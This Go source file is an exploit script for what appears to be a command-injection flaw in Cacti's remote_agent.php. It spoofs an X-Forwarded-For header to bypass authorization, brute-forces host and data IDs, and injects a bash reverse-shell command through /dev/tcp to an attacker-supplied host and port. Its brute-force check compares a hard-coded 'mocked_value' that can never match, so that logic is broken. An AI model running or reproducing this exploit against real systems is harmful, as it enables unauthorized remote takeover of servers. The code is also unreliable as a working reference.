package main

import (
	"flag"
	"fmt"
	"io"
	"net/http"
	"net/url"
	"strings"
)

func getArguments() (string, string, string) {
	var urlTarget string
	var lhost string
	var lport string

	flag.StringVar(&urlTarget, "u", "", "The target URL (example: http://10.10.10.10)")
	flag.StringVar(&lhost, "LHOST", "", "Localhost (example: 10.10.10.10)")
	flag.StringVar(&lport, "LPORT", "", "The listening port for reverse shell (example: 4444)")

	flag.Parse()

	if urlTarget == "" {
		fmt.Println("[*] Please provide the target URL (example: -u http://10.10.10.10)")
		flag.Usage()
		return "", "", ""
	}

	if lhost == "" {
		fmt.Println("[*] Please provide your IP address (--LHOST=10.10.10.10)")
		flag.Usage()
		return "", "", ""
	}

	if lport == "" {
		fmt.Println("[*] Please provide the listening port for the reverse shell (--LPORT=443)")
		flag.Usage()
		return "", "", ""
	}

	return urlTarget, lhost, lport
}

func checkVuln(vulnUrl string) bool {
	client := &http.Client{}
	req, err := http.NewRequest("GET", vulnUrl, nil)
	if err != nil {
		fmt.Println("Error creating request:", err)
		return false
	}
	req.Header.Set("X-Forwarded-For", "127.0.0.1")
	resp, err := client.Do(req)
	if err != nil {
		fmt.Println("Error making request:", err)
		return false
	}
	defer resp.Body.Close()

	if resp.StatusCode == 403 {
		return false
	}

	// read the response body for vulnerability check
	buf := new(strings.Builder)
	_, err = io.Copy(buf, resp.Body)
	if err != nil {
		fmt.Println("Error reading response body:", err)
		return false
	}

	if buf.String() == "FATAL: You are not authorized to use this service" {
		return false
	}

	return true
}

func bruteForcing(vulnURL string) (bool, int, int) {
	for n := 1; n <= 4; n++ {
		for n2 := 1; n2 <= 9; n2++ {
			idVulnURL := fmt.Sprintf("%s?action=polldata&poller_id=1&host_id=%d&local_data_ids[]=%d", vulnURL, n, n2)
			client := &http.Client{}
			req, err := http.NewRequest("GET", idVulnURL, nil)
			if err != nil {
				fmt.Println("Error creating request:", err)
				return false, 1, 1
			}
			req.Header.Set("X-Forwarded-For", "127.0.0.1")
			resp, err := client.Do(req)
			if err != nil {
				fmt.Println("Error making request:", err)
				return false, 1, 1
			}
			defer resp.Body.Close()

			buf := new(strings.Builder)
			_, err = io.Copy(buf, resp.Body)
			if err != nil {
				fmt.Println("Error reading response body:", err)
				return false, 1, 1
			}

			if buf.String() != "[]" {
				rrdName := "mocked_value"
				if rrdName == "polling_time" || rrdName == "uptime" {
					fmt.Println("Bruteforce Success!!")
					return true, n, n2
				}
			}
		}
	}
	return false, 1, 1
}

func reverseShell(payload string, vulnUrl string, hostID int, dataIDs int) {
	payloadEncoded := url.QueryEscape(payload)
	injectRequest := fmt.Sprintf("%s?action=polldata&poller_id=;%s&host_id=%d&local_data_ids[]=%d", vulnUrl, payloadEncoded, hostID, dataIDs)
	client := &http.Client{}
	req, err := http.NewRequest("GET", injectRequest, nil)
	if err != nil {
		fmt.Println("Error creating request:", err)
		return
	}
	req.Header.Set("X-Forwarded-For", "127.0.0.1")
	resp, err := client.Do(req)
	if err != nil {
		fmt.Println("Error making request:", err)
		return
	}
	defer resp.Body.Close()
}

func main() {
	urlTarget, lhost, lport := getArguments()
	if urlTarget == "" || lhost == "" || lport == "" {
		return
	}

	vulnURL := urlTarget + "/remote_agent.php"
	fmt.Println("Checking...")
	if checkVuln(vulnURL) {
		fmt.Println("The target is vulnerable. Exploiting...")

		fmt.Println("Bruteforcing the host_id and local_data_ids")
		isVuln, hostID, dataIDs := bruteForcing(vulnURL)

		if isVuln {
			payload := fmt.Sprintf("bash -c 'bash -i >& /dev/tcp/%s/%s 0>&1'", lhost, lport)
			reverseShell(payload, vulnURL, hostID, dataIDs)
		} else {
			fmt.Println("The Bruteforce Failed...")
		}
	} else {
		fmt.Println("The target is not vulnerable")
	}
}
